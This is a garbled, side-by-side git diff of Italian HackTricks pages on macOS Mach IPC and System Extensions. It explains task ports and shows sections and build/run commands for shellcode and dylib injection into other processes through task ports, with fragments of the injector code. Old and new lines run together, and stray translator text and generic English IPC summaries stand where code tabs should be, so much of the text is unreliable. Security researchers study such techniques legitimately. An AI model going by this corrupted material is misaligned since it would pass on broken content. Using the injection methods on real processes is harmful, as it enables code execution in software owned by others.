Per ottenere una **comunicazione bidirezionale** semplice, un processo può specificare una **porta mach** nell'**intestazione del messaggio mach** chiamata _porta di risposta_ (**`msgh_local_port`**) dove il **ricevitore** del messaggio può **inviare una risposta** a questo messaggio. I bitflag in **`msgh_bits`** possono essere utilizzati per **indicare** che un **diritto di invio una volta sola** dovrebbe essere derivato e trasferito per questa porta (`MACH_MSG_TYPE_MAKE_SEND_ONCE`). Per ottenere una **comunicazione bidirezionale** semplice, un processo può specificare una **porta mach** nell'**intestazione del messaggio** mach chiamata _porta di risposta_ (**`msgh_local_port`**) dove il **ricevitore** del messaggio può **inviare una risposta** a questo messaggio. I bitflag in **`msgh_bits`** possono essere utilizzati per **indicare** che un **diritto di invio una sola volta** dovrebbe essere derivato e trasferito per questa porta (`MACH_MSG_TYPE_MAKE_SEND_ONCE`).
{% hint style="success" %} {% hint style="success" %}
Nota che questo tipo di comunicazione bidirezionale è utilizzato nei messaggi XPC che si aspettano una risposta (`xpc_connection_send_message_with_reply` e `xpc_connection_send_message_with_reply_sync`). Ma **di solito vengono creati porti diversi** come spiegato in precedenza per creare la comunicazione bidirezionale. Nota che questo tipo di comunicazione bidirezionale è utilizzato nei messaggi XPC che si aspettano una risposta (`xpc_connection_send_message_with_reply` e `xpc_connection_send_message_with_reply_sync`). Ma **di solito vengono creati porti diversi** come spiegato in precedenza per creare la comunicazione bidirezionale.
@ -96,13 +97,13 @@ Nota che questo tipo di comunicazione bidirezionale è utilizzato nei messaggi X
Gli altri campi dell'intestazione del messaggio sono: Gli altri campi dell'intestazione del messaggio sono:
* `msgh_size`: la dimensione dell'intero pacchetto. - `msgh_size`: la dimensione dell'intero pacchetto.
* `msgh_remote_port`: la porta su cui viene inviato questo messaggio. - `msgh_remote_port`: la porta su cui viene inviato questo messaggio.
* `msgh_voucher_port`: [voucher mach](https://robert.sesek.com/2023/6/mach\_vouchers.html). - `msgh_voucher_port`: [voucher mach](https://robert.sesek.com/2023/6/mach\_vouchers.html).
* `msgh_id`: l'ID di questo messaggio, interpretato dal ricevitore. - `msgh_id`: l'ID di questo messaggio, che viene interpretato dal ricevitore.
{% hint style="danger" %} {% hint style="danger" %}
Nota che i **messaggi mach vengono inviati su una \_porta mach**\_, che è un canale di comunicazione **singolo ricevitore**, **multipli mittenti** integrato nel kernel mach. **Più processi** possono **inviare messaggi** a una porta mach, ma in qualsiasi momento solo **un singolo processo può leggere** da essa. Nota che i **messaggi mach vengono inviati su una \_porta mach**\_, che è un canale di comunicazione **singolo ricevitore**, **multiplo mittente** integrato nel kernel mach. **Processi multipli** possono **inviare messaggi** a una porta mach, ma in qualsiasi momento solo **un singolo processo può leggere** da essa.
{% endhint %} {% endhint %}
### Elencazione delle porte ### Elencazione delle porte
@ -184,9 +185,7 @@ printf("Text: %s, number: %d\n", message.some_text, message.some_number);
``` ```
{% endtab %} {% endtab %}
{% tab title="sender.c" %}Traduttore: {% tab title="sender.c" %}
macOS IPC (Comunicazione tra Processi) è un meccanismo che consente a due processi di comunicare tra loro e scambiare dati. Questo può essere utilizzato per scopi legittimi, ma può anche essere sfruttato da attaccanti per ottenere privilegi elevati o compromettere il sistema. È importante comprendere come funziona la IPC su macOS e implementare misure di sicurezza adeguate per proteggere il sistema da potenziali minacce.
```c ```c
// Code from https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html // Code from https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html
// gcc sender.c -o sender // gcc sender.c -o sender
@ -246,13 +245,13 @@ printf("Sent a message\n");
* **Porta host**: Se un processo ha il privilegio di **Invio** su questa porta può ottenere **informazioni** sul **sistema** (ad esempio `host_processor_info`). * **Porta host**: Se un processo ha il privilegio di **Invio** su questa porta può ottenere **informazioni** sul **sistema** (ad esempio `host_processor_info`).
* **Porta host privilegiata**: Un processo con il diritto di **Invio** su questa porta può eseguire **azioni privilegiate** come caricare un'estensione del kernel. Il **processo deve essere root** per ottenere questo permesso. * **Porta host privilegiata**: Un processo con il diritto di **Invio** su questa porta può eseguire **azioni privilegiate** come caricare un'estensione del kernel. Il **processo deve essere root** per ottenere questo permesso.
* Inoltre, per chiamare l'API **`kext_request`** è necessario avere altri diritti **`com.apple.private.kext*`** che vengono concessi solo ai binari Apple. * Inoltre, per chiamare l'API **`kext_request`** è necessario avere altri diritti **`com.apple.private.kext*`** che vengono concessi solo ai binari Apple.
* **Porta nome attività**: Una versione non privilegiata della _porta attività_. Fa riferimento all'attività, ma non consente di controllarla. L'unica cosa che sembra essere disponibile tramite di essa è `task_info()`. * **Porta nome attività**: Una versione non privilegiata della _porta attività_. Fa riferimento all'attività, ma non consente di controllarla. L'unica cosa che sembra essere disponibile tramite essa è `task_info()`.
* **Porta attività** (alias porta kernel)**:** Con il permesso di Invio su questa porta è possibile controllare l'attività (leggere/scrivere memoria, creare thread...). * **Porta attività** (alias porta kernel)**:** Con il permesso di Invio su questa porta è possibile controllare l'attività (leggere/scrivere memoria, creare thread...).
* Chiamare `mach_task_self()` per **ottenere il nome** di questa porta per l'attività chiamante. Questa porta viene ereditata solo attraverso **`exec()`**; una nuova attività creata con `fork()` ottiene una nuova porta attività (come caso speciale, un'attività ottiene anche una nuova porta attività dopo `exec()` in un binario suid). L'unico modo per generare un'attività e ottenere la sua porta è eseguire la ["danza dello scambio di porte"](https://robert.sesek.com/2014/1/changes\_to\_xnu\_mach\_ipc.html) durante un `fork()`. * Chiamare `mach_task_self()` per **ottenere il nome** di questa porta per l'attività chiamante. Questa porta viene ereditata solo attraverso **`exec()`**; una nuova attività creata con `fork()` ottiene una nuova porta attività (come caso speciale, un'attività ottiene anche una nuova porta attività dopo `exec()` in un binario suid). L'unico modo per generare un'attività e ottenere la sua porta è eseguire la ["danza dello scambio di porte"](https://robert.sesek.com/2014/1/changes\_to\_xnu\_mach\_ipc.html) durante un `fork()`.
* Queste sono le restrizioni per accedere alla porta (da `macos_task_policy` dal binario `AppleMobileFileIntegrity`): * Queste sono le restrizioni per accedere alla porta (da `macos_task_policy` dal binario `AppleMobileFileIntegrity`):
* Se l'app ha il diritto **`com.apple.security.get-task-allow`** i processi dello **stesso utente possono accedere alla porta dell'attività** (comunemente aggiunto da Xcode per il debug). Il processo di **notarizzazione** non lo permetterà per i rilasci in produzione. * Se l'app ha il diritto **`com.apple.security.get-task-allow`** i processi dello **stesso utente possono accedere alla porta dell'attività** (comunemente aggiunto da Xcode per il debug). Il processo di **notarizzazione** non lo permetterà per i rilasci in produzione.
* Le app con il diritto **`com.apple.system-task-ports`** possono ottenere la **porta dell'attività per qualsiasi** processo, tranne il kernel. Nelle versioni precedenti era chiamato **`task_for_pid-allow`**. Questo è concesso solo alle applicazioni Apple. * Le app con il diritto **`com.apple.system-task-ports`** possono ottenere la **porta dell'attività per qualsiasi** processo, tranne il kernel. Nelle versioni precedenti era chiamato **`task_for_pid-allow`**. Questo è concesso solo alle applicazioni Apple.
* **Root può accedere alle porte dell'attività** delle applicazioni **non** compilati con un tempo di esecuzione **protetto** (e non di Apple). * **Root può accedere alle porte dell'attività** delle applicazioni **non** compilati con un **ambiente di esecuzione protetto** (e non di Apple).
### Iniezione di shellcode nel thread tramite porta attività ### Iniezione di shellcode nel thread tramite porta attività
@ -292,7 +291,33 @@ return 0;
``` ```
{% endtab %} {% endtab %}
{% tab title="entitlements.plist" %}Il file `entitlements.plist` contiene le autorizzazioni specifiche richieste da un processo per accedere a risorse sensibili o eseguire determinate azioni nel sistema macOS. Queste autorizzazioni sono controllate dal meccanismo di sicurezza del sistema operativo per garantire che i processi operino solo all'interno dei limiti definiti. Gli sviluppatori devono definire correttamente le autorizzazioni richieste nel file `entitlements.plist` per garantire il corretto funzionamento delle loro applicazioni e per evitare potenziali vulnerabilità legate all'escalation dei privilegi. {% endtab %} {% tab title="entitlements.plist" %}
## macOS IPC (Inter-Process Communication)
### macOS IPC Overview
Inter-Process Communication (IPC) mechanisms are essential for processes to communicate with each other on macOS. There are various IPC mechanisms available on macOS, including Mach ports, XPC services, Distributed Objects, and UNIX domain sockets.
### Mach Ports
Mach ports are a fundamental IPC mechanism on macOS, allowing processes to send messages and data between each other. Each Mach port has a send right, receive right, or both, which determine the operations a process can perform with the port.
### XPC Services
XPC Services are a high-level IPC mechanism provided by the XPC framework on macOS. XPC Services allow processes to create and manage lightweight services that can communicate with each other securely.
### Distributed Objects
Distributed Objects is an IPC mechanism that allows objects to be passed between processes on macOS. It enables remote procedure calls and object serialization between processes.
### UNIX Domain Sockets
UNIX domain sockets are another IPC mechanism available on macOS, allowing communication between processes on the same system. UNIX domain sockets use the file system to establish communication channels between processes.
Understanding these IPC mechanisms is crucial for developing secure and efficient macOS applications that leverage inter-process communication. By utilizing the appropriate IPC mechanism based on the application's requirements, developers can ensure proper communication between processes while maintaining security and privacy.
{% endtab %}
```xml ```xml
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0"> <plist version="1.0">
@ -506,26 +531,20 @@ inject(pid);
return 0; return 0;
} }
``` ```
</details> </dettagli>
## macOS IPC (Inter-Process Communication)
### macOS IPC Overview
Inter-Process Communication (IPC) is a mechanism that allows processes to communicate and share data with each other. In macOS, IPC can be achieved through various methods such as Mach ports, XPC services, and UNIX domain sockets. Understanding how IPC works in macOS is crucial for both developers and security professionals to ensure secure communication between processes.
```bash ```bash
gcc -framework Foundation -framework Appkit sc_inject.m -o sc_inject gcc -framework Foundation -framework Appkit sc_inject.m -o sc_inject
./inject <pi or string> ./inject <pi or string>
``` ```
### Iniezione di Dylib nel thread tramite porta Task ### Iniezione di Dylib nel thread tramite porta Task
In macOS i **thread** possono essere manipolati tramite **Mach** o utilizzando **l'API posix `pthread`**. Il thread generato nell'iniezione precedente è stato generato utilizzando l'API Mach, quindi **non è conforme a posix**. In macOS i **thread** possono essere manipolati tramite **Mach** o utilizzando l'API **posix `pthread`**. Il thread generato nell'iniezione precedente è stato generato utilizzando l'API Mach, quindi **non è conforme a posix**.
È stato possibile **iniettare un semplice shellcode** per eseguire un comando perché **non era necessario lavorare con le API conformi a posix**, solo con Mach. **Iniezioni più complesse** avrebbero bisogno che il **thread** sia anche **conforme a posix**. È stato possibile **iniettare un semplice shellcode** per eseguire un comando perché **non era necessario lavorare con API conformi a posix**, solo con Mach. **Iniezioni più complesse** avrebbero bisogno che il **thread** sia anche **conforme a posix**.
Pertanto, per **migliorare il thread**, dovrebbe chiamare **`pthread_create_from_mach_thread`** che creerà un pthread valido. Quindi, questo nuovo pthread potrebbe **chiamare dlopen** per **caricare una dylib** dal sistema, quindi anziché scrivere nuovo shellcode per eseguire azioni diverse, è possibile caricare librerie personalizzate. Pertanto, per **migliorare il thread**, dovrebbe chiamare **`pthread_create_from_mach_thread`** che creerà un pthread valido. Quindi, questo nuovo pthread potrebbe **chiamare dlopen** per **caricare una dylib** dal sistema, quindi anziché scrivere nuovo shellcode per eseguire azioni diverse è possibile caricare librerie personalizzate.
È possibile trovare **esempi di dylibs** in (ad esempio quella che genera un log e poi è possibile ascoltarlo): È possibile trovare **esempi di dylib** in (ad esempio quello che genera un log e poi è possibile ascoltarlo):
{% content-ref url="../../macos-dyld-hijacking-and-dyld_insert_libraries.md" %} {% content-ref url="../../macos-dyld-hijacking-and-dyld_insert_libraries.md" %}
[macos-dyld-hijacking-and-dyld\_insert\_libraries.md](../../macos-dyld-hijacking-and-dyld\_insert\_libraries.md) [macos-dyld-hijacking-and-dyld\_insert\_libraries.md](../../macos-dyld-hijacking-and-dyld\_insert\_libraries.md)
@ -805,7 +824,29 @@ fprintf(stderr,"Dylib non trovato\n");
} }
``` ```
</dettagli> </details>
## macOS IPC (Inter-Process Communication)
### macOS IPC Overview
Inter-Process Communication (IPC) is a mechanism that allows processes to communicate and share data with each other. In macOS, IPC can be achieved through various methods such as Mach ports, XPC services, Distributed Objects, and UNIX domain sockets. Understanding how IPC works in macOS is crucial for both developers and security professionals to ensure secure communication between processes.
### Mach Ports
Mach ports are a fundamental IPC mechanism in macOS that allows processes to send messages and data to each other. Each Mach port is associated with a unique port name and port rights that define the permissions for sending and receiving messages. By understanding how Mach ports work and how they are used in macOS, developers can implement secure communication channels between processes.
### XPC Services
XPC (XPC Services) is a lightweight IPC mechanism introduced in macOS that allows processes to communicate with each other in a secure and efficient manner. XPC services are designed to be sandboxed, meaning they have limited access to system resources and can only communicate with specific processes. Security professionals should be aware of how XPC services work to identify potential security vulnerabilities and ensure secure communication between processes.
### Distributed Objects
Distributed Objects is an IPC mechanism in macOS that allows objects to be passed between processes. This mechanism is commonly used in macOS applications to communicate and share data between different parts of the application. Understanding how Distributed Objects work is essential for developers to implement secure communication channels and prevent unauthorized access to sensitive data.
### UNIX Domain Sockets
UNIX domain sockets are a type of IPC mechanism in macOS that allows communication between processes on the same system. Unlike network sockets, UNIX domain sockets are used for communication within the same host and provide a fast and efficient way for processes to exchange data. Security professionals should understand how UNIX domain sockets work to identify potential security risks and ensure secure communication between processes on macOS.
```bash ```bash
gcc -framework Foundation -framework Appkit dylib_injector.m -o dylib_injector gcc -framework Foundation -framework Appkit dylib_injector.m -o dylib_injector
./inject <pid-of-mysleep> </path/to/lib.dylib> ./inject <pid-of-mysleep> </path/to/lib.dylib>
@ -848,16 +889,17 @@ Per ulteriori informazioni, controlla:
* [https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/) * [https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/)
* [https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/) * [https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/)
{% hint style="success" %}
Impara e pratica l'hacking su AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Impara e pratica l'hacking su GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Impara l'hacking su AWS da zero a esperto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Sostieni HackTricks</summary>
Altri modi per supportare HackTricks: * Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)! * **Condividi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details> </details>
{% endhint %}

View file

@ -1,26 +1,27 @@
# Estensioni di sistema macOS # Estensioni di sistema macOS
{% hint style="success" %}
Impara e pratica l'hacking di AWS: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Impara e pratica l'hacking di GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Impara l'hacking AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary> <summary>Sostieni HackTricks</summary>
Altri modi per supportare HackTricks: * Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)! * **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repository di GitHub.
* Ottieni il [**merchandising ufficiale PEASS & HackTricks**](https://peass.creator-spring.com)
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
</details> </details>
{% endhint %}
## Estensioni di Sistema / Framework di Sicurezza degli Endpoint ## Estensioni di Sistema / Framework di Sicurezza degli Endpoint
A differenza delle Estensioni del Kernel, **le Estensioni di Sistema vengono eseguite nello spazio utente** invece dello spazio kernel, riducendo il rischio di un arresto del sistema dovuto al malfunzionamento dell'estensione. A differenza delle Estensioni del Kernel, **le Estensioni di Sistema vengono eseguite nello spazio utente** invece che nello spazio kernel, riducendo il rischio di un arresto del sistema dovuto al malfunzionamento dell'estensione.
<figure><img src="../../../.gitbook/assets/image (606).png" alt="https://knight.sc/images/system-extension-internals-1.png"><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/image (606).png" alt="https://knight.sc/images/system-extension-internals-1.png"><figcaption></figcaption></figure>
Ci sono tre tipi di estensioni di sistema: Estensioni **DriverKit**, Estensioni di **Rete**, ed Estensioni di **Sicurezza degli Endpoint**. Ci sono tre tipi di estensioni di sistema: Estensioni **DriverKit**, Estensioni di **Rete** e Estensioni di **Sicurezza degli Endpoint**.
### **Estensioni DriverKit** ### **Estensioni DriverKit**
@ -28,7 +29,7 @@ DriverKit è un sostituto delle estensioni del kernel che **fornisce supporto ha
### **Estensioni di Rete** ### **Estensioni di Rete**
Le Estensioni di Rete forniscono la capacità di personalizzare i comportamenti di rete. Ci sono diversi tipi di Estensioni di Rete: Le Estensioni di Rete forniscono la possibilità di personalizzare i comportamenti di rete. Ci sono diversi tipi di Estensioni di Rete:
* **Proxy dell'Applicazione**: Questo viene utilizzato per creare un client VPN che implementa un protocollo VPN personalizzato orientato al flusso. Ciò significa che gestisce il traffico di rete in base alle connessioni (o flussi) anziché ai singoli pacchetti. * **Proxy dell'Applicazione**: Questo viene utilizzato per creare un client VPN che implementa un protocollo VPN personalizzato orientato al flusso. Ciò significa che gestisce il traffico di rete in base alle connessioni (o flussi) anziché ai singoli pacchetti.
* **Tunnel di Pacchetti**: Questo viene utilizzato per creare un client VPN che implementa un protocollo VPN personalizzato orientato al pacchetto. Ciò significa che gestisce il traffico di rete in base ai singoli pacchetti. * **Tunnel di Pacchetti**: Questo viene utilizzato per creare un client VPN che implementa un protocollo VPN personalizzato orientato al pacchetto. Ciò significa che gestisce il traffico di rete in base ai singoli pacchetti.
@ -38,18 +39,18 @@ Le Estensioni di Rete forniscono la capacità di personalizzare i comportamenti
## Framework di Sicurezza degli Endpoint ## Framework di Sicurezza degli Endpoint
La Sicurezza degli Endpoint è un framework fornito da Apple in macOS che fornisce un insieme di API per la sicurezza del sistema. È destinato all'uso da parte di **fornitori di sicurezza e sviluppatori per costruire prodotti che possano monitorare e controllare l'attività del sistema** per identificare e proteggere contro attività dannose. La Sicurezza degli Endpoint è un framework fornito da Apple in macOS che fornisce un insieme di API per la sicurezza del sistema. È destinato all'uso da parte di **fornitori di sicurezza e sviluppatori per creare prodotti in grado di monitorare e controllare l'attività di sistema** per identificare e proteggere contro attività dannose.
Questo framework fornisce una **raccolta di API per monitorare e controllare l'attività del sistema**, come esecuzioni di processi, eventi del file system, eventi di rete ed eventi del kernel. Questo framework fornisce una **raccolta di API per monitorare e controllare l'attività di sistema**, come esecuzioni di processi, eventi del file system, eventi di rete ed eventi del kernel.
Il nucleo di questo framework è implementato nel kernel, come un'estensione del kernel (KEXT) situata in **`/System/Library/Extensions/EndpointSecurity.kext`**. Questo KEXT è composto da diversi componenti chiave: Il nucleo di questo framework è implementato nel kernel, come un'estensione del kernel (KEXT) situata in **`/System/Library/Extensions/EndpointSecurity.kext`**. Questo KEXT è composto da diversi componenti chiave:
* **EndpointSecurityDriver**: Agisce come "punto di ingresso" per l'estensione del kernel. È il principale punto di interazione tra il sistema operativo e il framework della Sicurezza degli Endpoint. * **EndpointSecurityDriver**: Agisce come "punto di ingresso" per l'estensione del kernel. È il principale punto di interazione tra il sistema operativo e il framework di Sicurezza degli Endpoint.
* **EndpointSecurityEventManager**: Questo componente è responsabile dell'implementazione degli hook del kernel. Gli hook del kernel consentono al framework di monitorare gli eventi di sistema intercettando le chiamate di sistema. * **EndpointSecurityEventManager**: Questo componente è responsabile dell'implementazione degli hook del kernel. Gli hook del kernel consentono al framework di monitorare gli eventi di sistema intercettando le chiamate di sistema.
* **EndpointSecurityClientManager**: Gestisce la comunicazione con i client nello spazio utente, tenendo traccia dei client connessi che necessitano di ricevere notifiche sugli eventi. * **EndpointSecurityClientManager**: Gestisce la comunicazione con i client nello spazio utente, tenendo traccia dei client connessi che necessitano di ricevere notifiche sugli eventi.
* **EndpointSecurityMessageManager**: Invia messaggi e notifiche sugli eventi ai client nello spazio utente. * **EndpointSecurityMessageManager**: Invia messaggi e notifiche sugli eventi ai client nello spazio utente.
Gli eventi che il framework della Sicurezza degli Endpoint può monitorare sono categorizzati in: Gli eventi che il framework di Sicurezza degli Endpoint può monitorare sono categorizzati in:
* Eventi del file * Eventi del file
* Eventi del processo * Eventi del processo
@ -60,16 +61,16 @@ Gli eventi che il framework della Sicurezza degli Endpoint può monitorare sono
<figure><img src="../../../.gitbook/assets/image (1068).png" alt="https://www.youtube.com/watch?v=jaVkpM1UqOs"><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/image (1068).png" alt="https://www.youtube.com/watch?v=jaVkpM1UqOs"><figcaption></figcaption></figure>
La **comunicazione nello spazio utente** con il framework della Sicurezza degli Endpoint avviene attraverso la classe IOUserClient. Vengono utilizzate due diverse sottoclassi, a seconda del tipo di chiamante: La **comunicazione nello spazio utente** con il framework di Sicurezza degli Endpoint avviene attraverso la classe IOUserClient. Vengono utilizzate due diverse sottoclassi, a seconda del tipo di chiamante:
* **EndpointSecurityDriverClient**: Richiede l'abilitazione `com.apple.private.endpoint-security.manager`, che è detenuta solo dal processo di sistema `endpointsecurityd`. * **EndpointSecurityDriverClient**: Richiede l'abilitazione `com.apple.private.endpoint-security.manager`, che è detenuta solo dal processo di sistema `endpointsecurityd`.
* **EndpointSecurityExternalClient**: Richiede l'abilitazione `com.apple.developer.endpoint-security.client`. Questo sarebbe tipicamente utilizzato da software di sicurezza di terze parti che necessita di interagire con il framework della Sicurezza degli Endpoint. * **EndpointSecurityExternalClient**: Richiede l'abilitazione `com.apple.developer.endpoint-security.client`. Questo sarebbe tipicamente utilizzato da software di sicurezza di terze parti che devono interagire con il framework di Sicurezza degli Endpoint.
Le Estensioni della Sicurezza degli Endpoint:**`libEndpointSecurity.dylib`** è la libreria C che le estensioni di sistema utilizzano per comunicare con il kernel. Questa libreria utilizza l'I/O Kit (`IOKit`) per comunicare con il KEXT della Sicurezza degli Endpoint. Le Estensioni di Sicurezza degli Endpoint: **`libEndpointSecurity.dylib`** è la libreria C che le estensioni di sistema utilizzano per comunicare con il kernel. Questa libreria utilizza l'I/O Kit (`IOKit`) per comunicare con il KEXT di Sicurezza degli Endpoint.
**`endpointsecurityd`** è un demone di sistema chiave coinvolto nella gestione e nell'avvio delle estensioni di sistema della sicurezza degli endpoint, in particolare durante il processo di avvio iniziale. **Solo le estensioni di sistema** contrassegnate con **`NSEndpointSecurityEarlyBoot`** nel loro file `Info.plist` ricevono questo trattamento di avvio anticipato. **`endpointsecurityd`** è un demone di sistema chiave coinvolto nella gestione e nell'avvio delle estensioni di sistema di sicurezza degli endpoint, in particolare durante il processo di avvio iniziale. **Solo le estensioni di sistema** contrassegnate con **`NSEndpointSecurityEarlyBoot`** nel loro file `Info.plist` ricevono questo trattamento di avvio anticipato.
Un altro demone di sistema, **`sysextd`**, **convalida le estensioni di sistema** e le sposta nelle posizioni di sistema appropriate. Quindi chiede al demone rilevante di caricare l'estensione. Il **`SystemExtensions.framework`** è responsabile dell'attivazione e disattivazione delle estensioni di sistema. Un altro demone di sistema, **`sysextd`**, **convalida le estensioni di sistema** e le sposta nelle posizioni di sistema appropriate. Chiede quindi al demone rilevante di caricare l'estensione. Il **`SystemExtensions.framework`** è responsabile dell'attivazione e della disattivazione delle estensioni di sistema.
## Bypassare ESF ## Bypassare ESF
@ -90,16 +91,17 @@ Alla fine questo è stato risolto concedendo il nuovo permesso **`kTCCServiceEnd
* [**OBTS v3.0: "Sicurezza e insicurezza degli endpoint" - Scott Knight**](https://www.youtube.com/watch?v=jaVkpM1UqOs) * [**OBTS v3.0: "Sicurezza e insicurezza degli endpoint" - Scott Knight**](https://www.youtube.com/watch?v=jaVkpM1UqOs)
* [**https://knight.sc/reverse%20engineering/2019/08/24/system-extension-internals.html**](https://knight.sc/reverse%20engineering/2019/08/24/system-extension-internals.html) * [**https://knight.sc/reverse%20engineering/2019/08/24/system-extension-internals.html**](https://knight.sc/reverse%20engineering/2019/08/24/system-extension-internals.html)
{% hint style="success" %}
Impara e pratica l'Hacking su AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Impara e pratica l'Hacking su GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Impara l'hacking AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary> <summary>Supporta HackTricks</summary>
Altri modi per supportare HackTricks: * Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Se desideri vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)! * **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di Github.
* Ottieni il [**merchandising ufficiale PEASS & HackTricks**](https://peass.creator-spring.com)
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repository di Github.
</details> </details>
{% endhint %}

View file

@ -1,18 +1,19 @@
# App macOS - Ispezione, debug e Fuzzing # Applicazioni macOS - Ispezione, debug e Fuzzing
{% hint style="success" %}
Impara e pratica l'Hacking su AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
